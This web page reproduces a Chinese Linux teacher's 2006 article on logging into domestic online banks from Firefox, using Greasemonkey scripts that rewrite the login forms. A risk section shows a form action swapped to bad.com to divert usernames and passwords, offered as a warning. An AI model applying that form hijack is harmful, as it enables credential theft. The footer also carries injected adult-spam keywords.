<meter id="pryje"><nav id="pryje"><delect id="pryje"></delect></nav></meter>
          <label id="pryje"></label>

          新聞中心

          EEPW首頁 > 嵌入式系統(tǒng) > 設(shè)計應用 > Linux + Firefox 登陸網(wǎng)上銀行

          Linux + Firefox 登陸網(wǎng)上銀行

          作者: 時間:2007-05-21 來源:網(wǎng)絡(luò) 收藏
          本文不是一篇Hacker教程。你必需使用自己的用戶名和密碼登陸銀行,而不是猜測別人的。甚至如果你對Firefox擴展和JavaScript不甚熟悉的話。按本文的例子行動還會有很大風險。

            本文的作者拒絕對本文的正確性提供任何形式的擔保,包括但不限于明示和暗示的。

            是Firefox 的一種非常強大的擴展,能夠在網(wǎng)也內(nèi)容讀入之后,頁面顯示在瀏覽器之前執(zhí)行指定的JavaScript腳本。 的[url=https://addons.mozilla.org/firefox/748/ ]下載地址。使用方法可以參考[url=http://forums.mozine.org/index.php?showtopic=4036 ]如何使用。本文所介紹的方法,要首先要安裝這個擴展。而且您要仔細查看使用說明,才能夠理解本文所描述的方法。
            其實另外一個被廣泛下載的擴展[url=http://chrispederick.com/work/webdeveloper/ ]Web Developer ,也能實現(xiàn)本文所描述的功能,但更為復雜。

            我們雖然能成功地以旁門左道登錄,但這未必是最好的方法,筆者希望每位從本文得到幫助的讀者,都能給你開戶銀行的webmaser發(fā)一封email,要求該行能夠直接支持Firefox。如果對方能夠修改網(wǎng)頁界面支持Firefox,下次評選最佳網(wǎng)行銀行的時候,您就可以考慮投他一票。本文附錄中列出了部分銀行網(wǎng)站webmaster的email地址。

          [align=center][size=5]概論[/size][/align]

            經(jīng)常有人說可以在計算機中完全使用生活和工作,但實際上在中國大陸還不能做得到。拿本人來說,我有99.9%的時間都是使用的。不論是寫C或Shell程序,聽音樂、看電影、在棋圣道場(http://weiqi.com.tom)看棋譜,或是在[url=http://games.yahoo.com]Yaoo游戲打橋牌,都絕無問題甚至游刃有余。但仍然有一個重要的原因使我不能脫離Windows 系統(tǒng),就是無法登陸某些國內(nèi)的。無論如何,我不能和錢過不去。
            最近,MS開始禁止盜版Windows進行網(wǎng)上自動更新,這對很多人無疑是一個打擊,這更堅定了我拋棄Windows系統(tǒng)的決心。本人目前的職業(yè)是Linux教師,深深地熱甃inux/FreeBSD一類的開源軟件,非常希望能像理查德.斯托爾曼一樣,完全用開源軟件。如果有些做不到,就爭取無限接近。開源軟件的最大優(yōu)點之一就是可以自己動手編寫一些東西。筆者雖然不是程序員,但也能折騰兩下。

            國內(nèi)的銀行現(xiàn)在用多如牛毛來形容,應該是一點都不過分的。下面的銀行列表表格摘自 [url=http://www.hao123.com/bankjt.htm]hao123網(wǎng)站

          銀行列表略,見pdf版本。


            很多銀行本人根本沒有帳號,所以并不關(guān)心。據(jù)說“洋”行的網(wǎng)站基本對所有瀏覽器都支持,包括IE 、Firefox、Opera、Safari等。但以前聽說過一在英國發(fā)生的新聞,某用戶在使用Lynx軟件訪問銀行的時候,竟被懷疑是黑客,導致警察上門。所以說,外國的月亮確實圓一點,但也很有限。

            上表中我標出兩個綠底的,北京銀行和中國銀行。前者可以很好地支持Firefox,后者據(jù)同事說可以支持Firefox。這里只能對他們的網(wǎng)站設(shè)計和人員表示敬意。
            三個藍底的銀行,招商銀行、建設(shè)銀行、交通銀行我都有帳號,是不能直接使用的。其中招商銀行和交通銀行的登錄頁面上有ActiveX控件,不能被Firefox所支持。而建設(shè)銀行的頁面,有一個Firefox所無法使用的軟鍵盤。工商銀行我雖然沒帳號,但知道也不兼容。

            隨機挑選了幾個大陸以外的銀行,發(fā)現(xiàn)除了招商銀行香港分行以外,都可以使用Firefox。”和國際接軌“的口號大家已經(jīng)聽煩了,從火車票的票價到大學生的學費都如此,下一個接軌的據(jù)說是北京的士的車費。但什么時候春風能吹到銀行呢?

            登錄頁面的作用,在讓客戶提交正確的帳號、密碼以及其他信息。只要我們能夠正確的提交數(shù)據(jù),無論頁面采用ActiveX還是ActiveY技術(shù),都不會影響我們使用。下面我們來具體分析一下各家銀行頁面的作用。
            能夠提交數(shù)據(jù)的途徑是修改登錄頁面。例如下列的html代碼。

          form method=post action=http://foo.com/cgi-bin/test.pl>
          username:input name=username type=text>br>
          password:input name=password type=password>br>
          input name=submit type=submit value=OK>
          /form>



            如果我們用瀏覽器訪問該頁面并在用戶名和密碼部分填寫zhang3和123.并點擊OK按鈕,就會將數(shù)據(jù)提交給http://foo.com/cgi-bin/test.pl處理。甚至你可以直接在你的瀏覽器地址欄上直接輸入http://foo.com/cgi-bin/test.pl?username=z3password=123 ,效果通常相同。
            網(wǎng)上銀行比這要復雜一些,因為很多銀行存在一個圖片”驗證碼“,這無法用直接提交的方式發(fā)送數(shù)據(jù)。必需登錄銀行指定的登錄界面。
            剛開始研究這個問題的時候,筆者嘗試通過建立一個的擴展的方式登錄網(wǎng)上銀行,在深入研究了XUL、DOM等文檔后,成功地開發(fā)出了自己的擴展,但隨后發(fā)現(xiàn),利用現(xiàn)有的Greaemonkey擴展是個更簡單的方案。
            Greasemonkey擴展既然可以運行Javascipt腳本,我們就能夠利用腳本動態(tài)修改頁面,使得其能夠被Firefox顯示并且能提交正確的數(shù)據(jù)。首先分析原因所在,其中最容易的就是建設(shè)銀行。

          [align=center][size=5]建設(shè)銀行[/size][/align]
            
            建行網(wǎng)上銀行的[url=https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0TXCODE=CLOGIN]登陸入口

            此頁面的問題在于,如果使用Windows+IE ,當試圖輸入密碼時,會打開一個軟鍵盤來輸入,這有一定的安全性,但也就只能防止某些可以記錄鍵盤輸入的間諜軟件而已,但使用Firefox,就根本不能輸入密碼。

           其部分代碼如下(除去了一些定義外觀的部分):

          td nowrap>證件號碼:/td> td nowrap colspan=3>input name=USERID type=text title=證件號碼>/td>
          tr>
          td nowrap>登錄密碼:/td>
          td nowrap colspan=3>input id=LOGPASS name=LOGPASS type=password title=登錄密碼 readOnly onKeyDown=Calc.password.value=this.value onChange=Calc.password.value=this.value onclick= password1=this;showkeyboard();this.readOnly=1;Calc.password.value=''>/td> /tr>


            核心問題就是在上述代碼中我用紅色標出的readOnly屬性,這使得我們不能夠直接輸入密碼,而只能借助于前文所說的軟鍵盤。
            我寫了下面的腳本,用來重寫一個標準的密碼框來取代原有的部分,內(nèi)容如下:

          1.// ==UserScript==
          2.// @namespace http://teenblog.org/tiantian
          3.// @name ccb Assist
          4.// @description ccb Assist
          5.// @include https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0TXCODE=CLOGIN
          6.// ==/UserScript==
          7.var passArea=document.getElementsByTagName(td)[104];
          8.passArea.innerHTML='input id=LOGPASS name=LOGPASS type=password class=textlogin size=20 minLength=6 maxLength=12 title=password>';
          9.alertMessage='This page was modified by Greasemonkey extension.nThe extension use a user defined JavaScript.nThe Content of JavaScript is not related with Greasemonkey.nBe care to use this.nCopyright: GPL V2 nAuthor: maluyao at 163.comnKnow Bugs: n Can not logoutn' ;
          10.alert(alertMessage);


            前4行都是描述性的。第5行指出了本腳本針對的網(wǎng)頁。
            第7行得到指定的td>和/td>之間的內(nèi)容,并在第8行中替換成我們自己的格式。第9行和第10行是彈出一個關(guān)于版權(quán)和警告信息的窗口,提醒用戶注意。當然,最后這兩行不是必需的。
            
            把此腳本命名為jianhang.user.js后,直接用Firefox打開。并安裝。
            現(xiàn)在用Firefox打開建行的登錄界面,就能輸入卡號和密碼了,正確輸入數(shù)據(jù)并且提交后,進入了下個界面。
               在左上方能正確地看到本人的名字,下方顯示的廣東分行也是正確的(以前在廣東開的戶)。沉浸在喜悅當中的我,馬上點右下的“不使用證書進入”。
            唉?。。。?,只能說十分遺憾。建行網(wǎng)站的內(nèi)部仍然不支持IE,還的另想辦法。
          辦法就是繼續(xù)研究html界面,并用適當?shù)膬?nèi)容替換之。因為工作量的關(guān)系,筆者放棄了對建設(shè)銀行的接續(xù)研究。
            中國銀行的網(wǎng)上銀行登錄界面同樣也有一個軟鍵盤,但是用戶可以選擇使用或不使用之。從網(wǎng)站界面設(shè)計的方面評價,建設(shè)銀行無疑是和中國銀行有些差距了。國際話不能光在嘴上說。要落實在行動上。

          [align=center][size=5]交通銀行[/size][/align]
            
            接下來我們看看交通銀行,交通銀行的[url=https://pbank.95559.com.cn/personbank/common_logon.jsp]登陸界面


            交行的登陸界面上用一個ActiveX控件輸入密碼,這在Linux + Firefox 的環(huán)境下是無法顯示的。我們的辦法是在登陸此界面后,用Firefox 的擴展來修改登陸界面上的內(nèi)容。重新生成一個Firefox能夠正確顯示的表單(Form),交通銀行的腳本如下:


          1.// ==UserScript==
          2.// @namespace http://teenblog.org/tiantian
          3.// @name JiaoHang Assist
          4.// @description JiaoHang Assist
          5.// @include https://pbank.95559.com.cn/personbank/common_logon.jsp
          6.// ==/UserScript==
          7.var addformhead=document.getElementsByTagName('td')[31];
          8.alertMessage='This page was modified by Greasemonkey extension.nThe extension use a user defined JavaScript.nThe Content of JavaScript is not related with Greasemonkey.nBe care to use this.nPlease input Card Number on Card NumbernPlease input your password on PassWordnPlease Input adding code below Picture CodenCopyright: GPL V2 nAuthor: maluyao at 163.comnKnow Bugs: n Can not logoutn JIE JI Card Onlyn' ;
          9.addformhead.innerHTML='form id=frmLogon name=frmLogon method=post action=Bank >' +
          10. 'n input type=hidden name=netType value=0/> '+
          11. 'n input type=hidden name=language value=zh_CN/> '+
          12. 'n input type=hidden name=userType value=02/> '+
          13. 'nCard Numberinput name=cardNo type=text maxLength=17 > '+
          14. 'nbr>nPassWordinput type=password id=password name=password > ' +
          15. 'nbr>Picture Codeinput name=reqCode type=text maxLength=6 size=10 >' +
          16. 'n input type=hidden name=cardType value=0 /> '+
          17.
          18. '/form>'+
          19. 'a href=javascript:document.getElementById('frmLogon').submit()>img src=/personbank/images/but-denglu.gif>/a>';
          20.alert(alertMessage);



            第8行和第18行定義和顯示了一個對話框,內(nèi)容是對使用本腳本的客戶機的一個警告信息,不是必要的。第9-19行中我們增加了一個新的表單,能夠提交正確的數(shù)據(jù)。  雖然界面目前被改的很丑陋,但能夠工作。輸入正確的數(shù)據(jù)后,可以進入網(wǎng)上銀行,查看自己帳號的情況。

          [align=center][size=5]風險分析[/size][/align]

            從上面的例子里可以看出,F(xiàn)irefox的擴展功能十分的強大??梢灾苯訉撁孢M行修改。但這里也存在相當大的風險。
            比如如果某頁面存在一個表單,定義如下:

          1.form method=post action=http://good.com/cgi-bin/test.pl>
          2.用戶名:input id=username name=username type=text >br>
          3.密 碼:input id=password name=password type=text >br>
          4.input name=submit type=submit value=”提交>
          5./form>


            這段內(nèi)容原本會將數(shù)據(jù)提交到good.com上的test.pl處理,但如果惡意代碼將其改為:

          1.form method=post action=http://bad.com/cgi-bin/test.pl>
          2.用戶名:input id=username name=username type=text >br>
          3.密 碼:input id=password name=password type=text >br>
          4.input name=submit type=submit value=”提交>
          5./form>


            這會導致原本應該發(fā)送給good.com的數(shù)據(jù)被發(fā)送給bad.com。風險極大。

          [align=center][size=5]招商銀行[/size][/align]

            相比于上面兩個銀行,招商銀行的難度要高一些。招商銀行使用的ActiveX控件,能夠使得卡號和密碼在提交前就被ActiveX所加密,密文具有一定的隨機性。然后再提交數(shù)據(jù)。筆者認為這并不是必要的,但毫無疑問,這種機制加大了我工作的難度。
            
            如果能分析出這個加密算法并用JavaScript實現(xiàn),招商銀行的問題也就解決了。從密碼學的原理來說,已知明文和密文,分析出算法并不是件非常困難的事情。但這需要時間。這個問題的詳細內(nèi)容,請參考: http://bbs.chinaunix.net/viewthread.php?tid=749579extra=page%3D2 。


            目前筆者還沒有分析出算法,但使用某種技巧,筆者能針對任意帳號和密碼在自己的電腦上生成密文。這樣雖然未知加密算法。但可以先得到自己帳號密碼的密文內(nèi)容,然后通過修改網(wǎng)頁的方式提交出去。當然,這種方式暫時只能自學自用,不便公開。事實上,因為招行的網(wǎng)站有很多”楨“(Frame)。修改起來過于麻煩。目前的計劃是不久以后注銷掉招商銀行的帳號。

            據(jù)說工商銀行的ActiveX也有類似的機制,因為沒有工行帳號,就不準備進一步研究了。但相信也可以通過和招商銀行類似的方式解決。


          [align=center][size=5]風險提示和后記[/size][/align]

            
            對于一般的用戶,特別要注意不要安裝來路不明的擴展和腳本,這其中的風險幾乎相當于自己給自己安裝一個木馬。因為除了JavaScript語言開發(fā)以外,F(xiàn)irefox的擴展還可以使用Java、C/C++等語言開發(fā),能夠?qū)崿F(xiàn)非常底層的功能,甚至格式化你的硬盤。

            感謝筆者現(xiàn)在的雇主—[url=http://www.hybenet.net/]北大青鳥(北京華源)授權(quán)培訓中心,沒有給安排給我太多的工作任務,使得能夠有足夠的時間和精力,深入研究自由軟件的各種技術(shù),回報自由軟件社區(qū)。

          定稿于2006年5月7日

          附錄:
          部分不支持FireFox的銀行及其webmaster 的email地址:
          中國工商銀行 webmaster@icbc.com.cn
          中國農(nóng)業(yè)銀行 95599bj@abchina.com
          交通銀行   95559@bankcomm.com
          中國建設(shè)銀行 首頁上未標明
          招商銀行   首頁上未標明
          linux操作系統(tǒng)文章專題:linux操作系統(tǒng)詳解(linux不再難懂)

          linux相關(guān)文章:linux教程


          c++相關(guān)文章:c++教程




          評論


          相關(guān)推薦

          技術(shù)專區(qū)

          關(guān)閉
          看屁屁www成人影院,亚洲人妻成人图片,亚洲精品成人午夜在线,日韩在线 欧美成人 (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })();